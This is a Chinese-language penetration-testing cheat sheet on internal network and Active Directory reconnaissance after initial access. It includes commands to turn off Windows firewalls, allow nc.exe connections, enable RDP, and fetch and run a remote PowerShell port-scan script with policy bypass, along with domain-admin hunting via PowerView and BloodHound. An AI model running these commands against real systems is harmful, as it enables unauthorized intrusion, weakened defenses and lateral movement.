内网信息收集
内网信息收集概述
渗透测试进入内网阶段,面对一片 “黑暗森林” 。所以首先对当前的网络环境进行判断。
- 我是谁? —— 对当前机器角色进行判断。
- 这在哪? —— 对当前机器所处的网络环境和拓扑结构进行分析和判断。
- 我在哪? —— 对当前机器所处区域进行判断。
对当前计算机角色判断,是指判断当前计算机是普通Web服务器、FTP服务器、代理服务器、DNS服务器等
对当前计算机所处网络环境的拓扑结构分析和判断,是指对所在的内网进行全面的数据收集和分析整理,绘制出大致的内网结构拓扑图。
对当前计算机所处区域判断,是指判断计算机处于网络拓扑中哪个区域,是在DMZ区、办公区、还是核心区。
收集本机信息
不管是外网还是内网中,信息收集都是第一步。对于内网中的一台机器,其所处的内网的结构是什么样的、其角色是什么样的、使用这台机器的人的角色是什么样的,以及这台机器上安装了什么杀软、这台机器通过什么方式上网、这台机器是笔记本还是台式等问题,都需要通过信息收集来获取。
本机信息包括操作系统、版本、权限、网卡、IP、用户、杀软、端口、服务、补丁更新、网络连接、共享、会话等。如果是域内主机,操作系统、应用软件、补丁、服务、杀软一般都是统一安装的。通过本机信息,推断出域内其他主机信息。
工作组信息收集
查询操作系统和版本信息
systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"
查询软件安装及版本,路径
wmic product get name,version
powershell "Get-WmiObject -class Win32_Product | Select-Object -Property name,version"
查看自动启动信息和计划任务信息
wmic startup get command,caption
schtasks /query /fo LIST /v
查询端口列列表
netstat -nao
netstat -nao | findstr ESTABLISHED
查询补丁
systeminfo
wmic qfe get Caption,description,InstalledOn
查看共享
net share
wmic share get description,name,path
防火墙配置和开关
# 查看配置
netsh firewall show config
# 关闭防火墙
netsh firewall set opmode disable # 2003以前使用
netsh advfirewall set allprofiles state off # 2003以后使用
# 配置防火墙
# 允许指定程序连入
netsh advfirewall firewall add rule name="pass nc" dir=in action=allow program="c:\nc.exe"
# 允许指定程序连出
netsh advfirewall firewall add rule name="allow nc" dir=out action=allow program="c:\nc.exe"
# 3389端口放行
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
远程桌面
# 查看远程桌面端口
reg query "hkey_local_machine\system\currentcontrolset\control\terminal server\winstations\RDP-Tcp" /v portnumber
# 2008和2012开启远程桌面
wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1
wmic /namespace:\\root\cimv2\terminalservices path win32_tsgeneralsetting where(TerminalName ='RDP-Tcp') call setuserauthenticationrequired 1
# 注册表开启方法 (推荐使用)
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
探测域内存活主机
端口扫描
# 单个端口扫描
telnet 192.168.1.1 1433
# s扫描器
s.exe tcp 192.168.1.1 192.168.1.254 445,1433,3389,7001 256 /Banner /save
# Metasploit端口扫描
use auxiliary/scanner/portscan/tcp
# PowerSploit的Invoke-portscan.ps1脚本 无文件落地
powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/Invoke-Portscan.ps1');Invoke-Portscan -Hosts 192.168.1.0/24 -T 4 -ports '445,1433,80,8080,3389' -oA c:\ProgramData\ip_info"
域内基础信息收集
判断是否存在域
ipconfig /all
systeminfo
net config workstation
net time /domain
# 判断主域
- 拒绝访问:存在域,但当前用户不是域用户
- 回显时间:存在域,且当前用户为域用户
- 找不到workgroup的域控制器:不存在域
net view /domain
net group "domain computers" /domain #查询域成员
net accounts /domain # 密码策略
nltest /domain_trusts #查询域信任信息
#域控查询
nltest /DCLIST:XXX
nslookup -type=SRV _ldap._tcp
net time /domain
net group "domain controllers" /domain
netdom query pdc
# 查询域用户列表
net user /domain
wmic useraccount get /all
dsquery user
net localgroup administrators /domain
#查询域管理员用户组
net group "domain admins" /domain
net group "Enterprise admins" /domain
获取域内用户和管理员
#查询所有域用户列表
#向域控制器查询:
net user /domain
#获取域内用户的详细信息:
wmic useraccount get /all
#查看存在的用户:
dsquery user
# 查询域管理员用户级
#查询域管理员用户:
net group "Domain admins" /domain
#查询管理员用户组:
net group "Enterprise Admins" /domain
定位域管理员
#常用域管理员定位 工具
psloggedon.exe [下载地址:https://docs.microsoft.com/en-us/sysinternals/downloads/psloggedon] #有弹窗
可以查看本地登录的用户和通过本地计算机或远程计算机的资源登陆的用户。psloggedon /? 查看帮助文档
PVEFindADUser.exe [下载地址:https://github.com/chrisdee/Tools/tree/master/AD/ADFindUsersLoggedOn]
可用于查找 活动目录用户登陆的位置、枚举域用户、以及查找 在特定计算机上登陆的用户。
etview.exe[下载地址:https://github.com/mubix/netview ]
使用WinAPI枚举系统用户,利用NetSessionEnum寻找登陆会话,利用NetShareEnum寻找共享,利用NetWkstaUserEnum枚举登陆的用户
# Nmap的NSE脚本
smb-enum-sessions.nse :获取远程机器的登陆会话
smb-enum-domains.nse:对域控制器进行信息收集,获取主机信息、用户、可使用密码策略的用户
smb-enum-users.nse:
smb-enum-shares.nse:遍历远程主机的共享目录
smb-enum-processes.nse:遍历主机的系统进程
smb-os-discovery.nse:收集目标主机的操作系统、计算机名、域名、域林名称、NetBios机器名、NetBIOS域名、工作组、系统时间等
# PowerView脚本
Invoke-StealthUserHunter
只需要一次查询,就可以获取域里面的所有用户。PowerView默认使用Invoke-StealthUserHunter,如果找不到需要的信息,就使用Invoke-UserHunter
Invoke-UserHunter
找到域内特定的用户群,接收用户名、用户列表和域组查询 ,接收一个主机列表或查询 可用的主机域名
powershell.exe -exec bypass -Command "& {Import-module C:\powerview.ps1;Invoke-UserHunter}"
查找与管理进程
# 本机检查
1、获取域管理员列表
net group "domain admins" /domain
2、列出所有进程列表和进程用户
tasklist /v
3、寻找是否有以域管理员运行的进程
利用Powershell收集域信息
如果想要执行powershell 脚本,就要修改Powershell的执行权限。Powershell常用的执行权限共有四种
Get-ExecutionPolicy 获取当前powershell执行策略
Set-executionPolicy Unrestricted 更改执行策略
- Restricted:默认权限,不允许执行任何脚本
- Allsigned:只能运行证书验证的脚本
- Unrestricted:权限最高,可以执行任意脚本
- RemoteSigned:本地脚本不进行限制;对来自网络的脚本验证器签名
PowerView.ps1 #使用
https://github.com/PowerShellMafia/PowerSploit # 项目地址
#导入脚本
import-module .\PowerView.ps1
PowerView.ps1 常用命令
Get-NetDomain #获取当前用户所在域名称
Get-NetUser #获取域内所有用户信息
Get-NetDomainController #获取域内所有域控制器
Get-NetComputer #获取域内所有机器
Get-NetOU #获取域内OU信息
Get-NetGroup #获取域内所有组和成员信息
Get-NetSession #获取指定服务器的会话
Get-NetShare #获取当前域所有的网络共享
Get-NetRDPSession #获取指定服务器的远程连接信息
Get-NetProcess #获取远程主机的进程
Get-UserEvent #获取指定用户日志
Get-ADObject #获取活动目录的对象
Get-NetGPO #获取域内所有组策略对象
Get-DomainPolicy #获取域默认策略或域控制器策略
Invoke-UserHunter #获取域用户等的计算机信息及该用户是否有本地管理员权限
Invoke-ProcessHunter #通过查询域内所有的机器进程找到特定用户
Invoke-UserEventHunter #根据用户日志查询某域用户登录过那些机器
# 绕过 Restricted 权限
powershell.exe -exec bypass -Command "& {Import-module C:\powerview.ps1;Invoke-UserHunter}"
域分析工具 BloodHound
java 11下载 https://www.oracle.com/java/technologies/downloads/#java11
下载 Neo4j数据库 https://neo4j.com/download/
配置环境变量
JAVA_HOME C:\Program Files\jdk-11.0.13
PATH %JAVA_HOME\bin%
NEO4j_HOME C:\neo4j-community-4.1.11
PATH %NEO4J_HOME\bin%
#启动 neo4j数据库
neo4j.bat console
#登录并重置密码
http://localhost:7474
下载 BloodHound https://github.com/BloodHoundAD/BloodHound
运行 BloodHound.exe
连接neo4j数据库
数据采集工具 SharpHound
SharpHound.exe -c all
生产 zip文件,导入BloodHound 进行分析
分析查询功能